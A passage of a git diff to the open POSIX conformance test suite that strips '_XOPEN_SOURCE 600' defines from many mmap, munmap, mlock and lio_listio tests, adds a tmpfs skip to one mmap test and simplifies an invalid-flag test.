-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/14-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/14-1.c
index 89d9d59..4b0dc59 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/14-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/14-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/15-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/15-1.c
index 0bc90c0..3edfe9c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/15-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/15-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/18-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/18-1.c
index e0ca4ec..130f7df 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/18-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/18-1.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c
index bfc9348..ee3da15 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c
@@ -19,7 +19,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/3-1.c
index 47bf5b0..747e4b4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/3-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/4-1.c
index 3de9858..c160d0a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/4-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/5-1.c
index 928365a..e0d58ad 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/5-1.c
@@ -22,7 +22,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <aio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/6-1.c
index d073bf9..738ae9d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/6-1.c
@@ -17,7 +17,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/7-1.c
index 54ac8f7..7857e1a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/7-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <aio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/8-1.c
index b260314..c2cff0c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/8-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/9-1.c
index 147d6e0..13585a1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/9-1.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <aio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mlock/12-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mlock/12-1.c
index 30d23c5..d7c32bd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mlock/12-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mlock/12-1.c
@@ -12,7 +12,6 @@
  * (Linux 2.6.9 and later) and its RLIMIT_MEMLOCK soft resource limit set to 0.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <sys/mman.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mlock/speculative/12-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mlock/speculative/12-1.c
index 31729fe..e180d81 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mlock/speculative/12-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mlock/speculative/12-1.c
@@ -13,7 +13,6 @@
  */
 
 #define _GNU_SOURCE 1		/* XXX: Read baloney below about CAP_* */
-#define _XOPEN_SOURCE 600
 
 #include <sys/mman.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mlockall/15-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mlockall/15-1.c
index 4dd9e63..09ddd1c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mlockall/15-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mlockall/15-1.c
@@ -13,7 +13,6 @@
  * It is a may assertion.
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/mman.h>
 #include <stdio.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-6.c b/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-6.c
index 21a449e..409e08e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-6.c
@@ -13,11 +13,6 @@
  * This test use msync to check that the page is locked.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <sys/mman.h>
 #include <sys/stat.h>
 #include <fcntl.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mlockall/speculative/15-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mlockall/speculative/15-1.c
index 4dd9e63..09ddd1c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mlockall/speculative/15-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mlockall/speculative/15-1.c
@@ -13,7 +13,6 @@
  * It is a may assertion.
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/mman.h>
 #include <stdio.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-1.c
index 21b3b11..4b9b47d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-1.c
@@ -15,7 +15,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-2.c
index ef7794f..5a9fd5b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-2.c
@@ -11,7 +11,6 @@
  * and a shared memory object.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/10-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/10-1.c
index 62518ab..4248b43 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/10-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/10-1.c
@@ -15,7 +15,6 @@
  * make sure pa will not equal 0.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-1.c
index 85a00d6..ef982bb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c
index cdb6b70..39aae12 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c
@@ -17,7 +17,6 @@
  *    should get SIGBUS;
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <sys/mman.h>
 #include <sys/types.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c
index 3a5bb8a..7145579 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c
@@ -17,7 +17,6 @@
  *    beyond the end of the object, should get SIGBUS.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <sys/mman.h>
 #include <sys/types.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-4.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-4.c
index 2b44815..d6b7782 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-4.c
@@ -28,7 +28,6 @@
  *    read the byte from the position modified at step 1-c and check.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -40,8 +39,11 @@
 #include <fcntl.h>
 #include <string.h>
 #include <errno.h>
+#include <sys/vfs.h>
 #include "posixtest.h"
 
+#define TYPE_TMPFS_MAGIC	0x01021994
+
 int main(void)
 {
 	char tmpfname[256];
@@ -54,11 +56,23 @@
 	pid_t child;
 	int i, exit_val;
 
+	struct statfs buf;
+
 	page_size = sysconf(_SC_PAGE_SIZE);
 
 	/* mmap will create a partial page */
 	len = page_size / 2;
 
+	if (statfs("/tmp", &buf)) {
+		printf("Error at statfs(): %s\n", strerror(errno));
+		return PTS_UNRESOLVED;
+	}
+
+	if (buf.f_type == TYPE_TMPFS_MAGIC) {
+		printf("From mmap(2) manpage, skip known bug on tmpfs\n");
+		return PTS_UNTESTED;
+	}
+
 	snprintf(tmpfname, sizeof(tmpfname), "/tmp/pts_mmap_11_5_%d", getpid());
 	child = fork();
 	switch (child) {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-5.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-5.c
index 41e9662..bc9a007 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-5.c
@@ -27,7 +27,6 @@
  *    and check that change wasn't written.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-6.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-6.c
index 15aab50..9c13834 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-6.c
@@ -27,7 +27,6 @@
  *    and check that change wasn't written.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/12-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/12-1.c
index dee97ae..9c4023c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/12-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/12-1.c
@@ -19,7 +19,6 @@
  * 3. Acces and msync the mapped file
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/13-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/13-1.c
index 035f1e5..d04060c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/13-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/13-1.c
@@ -18,7 +18,6 @@
  * 2. Compare whether st_atime has been updated.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/14-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/14-1.c
index b5e7da3..bcbb4e6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/14-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/14-1.c
@@ -17,7 +17,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c
index 76ac702..1c151f4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c
@@ -21,7 +21,6 @@
  * 6. Change user to root seteuid()
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/19-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/19-1.c
index 5d3738d..3b71f89 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/19-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/19-1.c
@@ -11,7 +11,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/21-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/21-1.c
index dc0cc13..ce0e5ef 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/21-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/21-1.c
@@ -13,7 +13,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -33,7 +32,7 @@
 
 	void *pa;
 	size_t size = 1024;
-	int flag;
+	int flag = ~0;
 	int fd;
 
 	snprintf(tmpfname, sizeof(tmpfname), "/tmp/pts_mmap_21_1_%d", getpid());
@@ -50,10 +49,6 @@
 		return PTS_UNRESOLVED;
 	}
 
-	flag = MAP_SHARED;
-	while (flag == MAP_SHARED || flag == MAP_PRIVATE || flag == MAP_FIXED)
-		flag++;
-
 	pa = mmap(NULL, size, PROT_READ | PROT_WRITE, flag, fd, 0);
 	if (pa == MAP_FAILED && errno == EINVAL) {
 		printf("Test PASSED\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/23-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/23-1.c
index 6e54420..19a4959 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/23-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/23-1.c
@@ -15,7 +15,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-1.c
index 865d739..3d9e4b1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-1.c
@@ -18,7 +18,6 @@
  * 3. Should get ENOMEM.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c
index de51d43..9cf83d9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c
@@ -18,7 +18,6 @@
  * 3. Should get ENOMEM.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/27-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/27-1.c
index 5ab1686..b692743 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/27-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/27-1.c
@@ -18,7 +18,6 @@
  * 2. Try fixed mapping
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/3-1.c
index d22362d..18867d9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/3-1.c
@@ -20,7 +20,6 @@
  * 3. Test whether byte *(pa + size) is 'b'.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c
index 2ca1517..4c594da 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c
@@ -18,7 +18,6 @@
  *       and largefile support turned on.
  */
 
-#define _XOPEN_SOURCE 600
 
 /* Turn on large file support, has no effect on 64 bit archs */
 #define _FILE_OFFSET_BITS 64
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/32-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/32-1.c
index 5828ed2..7ab5260 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/32-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/32-1.c
@@ -8,7 +8,6 @@
  * If len is zero, mmap() shall fail and no mapping shall be established.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c
index 544406b..6d84653 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c
@@ -21,7 +21,6 @@
  * 2. each should either succed or fail with ENOTSUP
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-1.c
index 476ba58..ebded92 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-1.c
@@ -25,7 +25,6 @@
  * Please refer to IEEE_1003.1-2001. 2.8.3.3 Memory Protection.
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/mman.h>
 #include <sys/types.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-2.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-2.c
index eb43327..0ffa820 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-2.c
@@ -26,7 +26,6 @@
  * Please refer to IEEE_1003.1-2001. 2.8.3.3 Memory Protection.
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/mman.h>
 #include <sys/types.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-3.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-3.c
index 0d479f0..fd413b3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-3.c
@@ -26,7 +26,6 @@
  * Please refer to IEEE_1003.1-2001. 2.8.3.3 Memory Protection.
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/mman.h>
 #include <sys/types.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-4.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-4.c
index 406c4cf..27f3cbd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-4.c
@@ -19,7 +19,6 @@
  * 4. Get EACCES error when mmap().
  *
  */
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c
index 5649925..a21432f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c
@@ -19,7 +19,6 @@
  * 4. The mmap() should be sucessful.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-6.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-6.c
index eef3cf4..6672c96 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-6.c
@@ -18,7 +18,6 @@
  * 3. Get EACCES error when mmap().
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-1.c
index 79ed4ae..d7cfdde 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-1.c
@@ -24,7 +24,6 @@
  * 6. Check whether the modification has taken effect.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-2.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-2.c
index a8e142d..e90f812 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-2.c
@@ -24,7 +24,6 @@
  *    otherwise pass.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-3.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-3.c
index 3d2ee74..011bc23 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-3.c
@@ -26,7 +26,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-4.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-4.c
index 52f47cc..ddad4ce 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-4.c
@@ -25,7 +25,6 @@
  * 6. Check whether the change in step 3 is visible to the child.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/9-1.c
index b6f4b73..8130ce7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/9-1.c
@@ -18,7 +18,6 @@
  * 2. Call mmap() and get EINVAL;
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-1.c
index e536329..f67c31d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-1.c
@@ -17,7 +17,6 @@
  *    mapped file, test whether SIGSEGV is triggered.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <sys/mman.h>
 #include <sys/types.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-2.c
index dff15b7..8828526 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-2.c
@@ -17,7 +17,6 @@
  *    is triggered.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <sys/mman.h>
 #include <sys/types.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/munmap/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/munmap/3-1.c
index 59b9f8d..cca9028 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/munmap/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/munmap/3-1.c
@@ -12,7 +12,6 @@
  * Should get EINVAL.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/munmap/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/munmap/4-1.c
index 8f0903d..7e90a97 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/munmap/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/munmap/4-1.c
@@ -18,7 +18,6 @@
  *    otherwise pass.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/munmap/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/munmap/8-1.c
index 0adf234..15ba0dc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/munmap/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/munmap/8-1.c
@@ -11,7 +11,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/munmap/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/munmap/9-1.c
index a5a30eb..ce0b06f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/munmap/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/munmap/9-1.c
@@ -9,7 +9,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-2.c
index a47d635..686397e 100644
